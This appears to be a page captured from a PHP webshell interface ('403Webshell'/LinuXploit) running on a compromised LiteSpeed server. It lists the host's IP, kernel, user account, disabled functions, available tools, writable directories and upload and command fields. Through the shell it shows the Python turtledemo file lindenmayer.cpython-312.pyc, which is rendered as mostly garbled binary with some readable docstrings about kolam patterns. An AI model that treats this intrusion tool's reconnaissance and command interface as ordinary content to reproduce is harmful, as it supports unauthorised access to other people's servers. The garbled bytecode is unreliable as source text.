403Webshell
Server IP : 91.220.113.119  /  Your IP : 216.73.217.69
Web Server : LiteSpeed
System : Linux milad313-ded-e10.tidadns.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : maralloab ( 1965)
PHP Version : 8.1.34
Disable Function : mail, show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/python3.12/turtledemo/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.12/turtledemo/__pycache__/lindenmayer.cpython-312.pyc
�

�֦i�	��\�dZddl�d�Zd�Zd�Zedk(re�Zee�e�yy)a�       turtle-example-suite:

        xtx_lindenmayer_indian.py

Each morning women in Tamil Nadu, in southern
India, place designs, created by using rice
flour and known as kolam on the thresholds of
their homes.

These can be described by Lindenmayer systems,
which can easily be implemented with turtle
graphics and Python.

Two examples are shown here:
(1) the snake kolam
(2) anklets of Krishna

Taken from Marcia Ascher: Mathematics
Elsewhere, An Exploration of Ideas Across
Cultures

�)�*c�f�t|�D]"}d}|D]}||j||�z}�|}�$|S)N�)�range�get)�seq�replacementRules�n�i�newseq�elements      �//usr/lib64/python3.12/turtledemo/lindenmayer.py�replacersC��
�1�X�����G��.�2�2�7�7�C�C�F����	�
�J�c�v�|D]
}	||��y#t$r	t|||�n#YnxYwY�4wxYw)N)�	TypeError�draw)�commands�rules�bs   rrr&sJ��
��	��E�!�H�J����	�
��U�1�X�u�%��
���		�s�
�	8�.�8�2�8�8c���d�}d�}d�}|||dd�}ddi}d}t||d	�}t�td	�td
d�t	�t�t
d�t�t||�dd
l	m
}|d	�d�}d�}	d�}
||	|
d�}ddd�}d}
t�td�td	d�t	�td�t|
|d	�}t||�td
�y)Nc��td�y�N�-)�right�rr�rzmain.<locals>.r7s	��
�b�	rc��td�yr)�leftrrr�lzmain.<locals>.l:s	���R�rc��td�y)Ng@)�forwardrrr�fzmain.<locals>.f=s	����rzf+f+f--f--f+f+f)�-�+r#rrzb+f+b--f--b+f+bz
b--f--b--f��r��)�sleepc�2�td�tdd�y)N�red�
�Z)�color�circlerrr�Azmain.<locals>.AVs��
�e���r�"�
rc��ddlm}td�d|d�z}t|�t	|d�t|�y)Nr)�sqrt�black��i)�mathr2r.r"r/)r2r s  r�Bzmain.<locals>.BZs0���
�g��
�d�1�g�I����
��q�#����
rc�0�td�td�y)N�greenr,)r.r"rrr�Fzmain.<locals>.Fbs��
�g����r)�arr#�afbfa�	afbfbfbfa)r;r�fbfbfbfbrzDone!)r�reset�speed�tracer�ht�up�backward�downr�timer)r)rr r#�snake_rules�snake_replacementRules�snake_start�drawingr)r0r7r:�
krishna_rules�krishna_replacementRules�
krishna_starts              r�mainrN1s�������a�Q�,=�>�K�!�#4�5���K��k�#9�1�=�G�	�G�	�!�H�
�1�Q�K��D��D��S�M��F���+���	�!�H������q�)�M�&-�[�B���M�	�G�	�!�H�
�1�Q�K��D���H��m�%=�q�A�G���-� �
�1�I�r�__main__N)	�__doc__�turtlerrrN�__name__�msg�print�mainlooprrr�<module>rVsB���4���A�F�Z��
�&�C�	�#�J��J�r

Youez - 2016 - github.com/yon3zu
LinuXploit